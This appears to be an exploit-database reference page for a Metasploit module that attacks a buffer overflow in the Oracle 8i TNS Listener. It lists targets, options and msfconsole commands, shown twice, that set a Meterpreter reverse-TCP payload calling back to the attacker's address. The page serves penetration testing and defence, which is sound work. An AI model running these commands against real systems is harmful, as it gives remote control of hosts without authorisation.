Oracle 8i TNS Listener (ARGUMENTS) Buffer Overflow
This module exploits a stack buffer overflow in Oracle 8i. When sending a specially crafted packet containing a overly long ARGUMENTS string to the TNS service, an attacker may be able to execute arbitrary code.
Exploit Rank
- Good
Exploit Authors
- MC < mc [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Oracle 8.1.7.0.0 Standard Edition (Windows 2000) (default)
- 1 - Oracle 8.1.7.0.0 Standard Edition (Windows 2003)
Exploit Development
Similar Exploit Modules
- exploit/windows/oracle/extjob
- exploit/windows/oracle/osb_ndmp_auth
- exploit/windows/oracle/tns_auth_sesskey
- exploit/windows/oracle/tns_service_name
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/oracle/tns_arguments
msf exploit(tns_arguments) > show payloads
msf exploit(tns_arguments) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(tns_arguments) > set LHOST [MY IP ADDRESS]
msf exploit(tns_arguments) > set RHOST [TARGET IP]
msf exploit(tns_arguments) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/oracle/tns_arguments
msf exploit(tns_arguments) > show payloads
msf exploit(tns_arguments) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(tns_arguments) > set LHOST [MY IP ADDRESS]
msf exploit(tns_arguments) > set RHOST [TARGET IP]
msf exploit(tns_arguments) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 1521) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
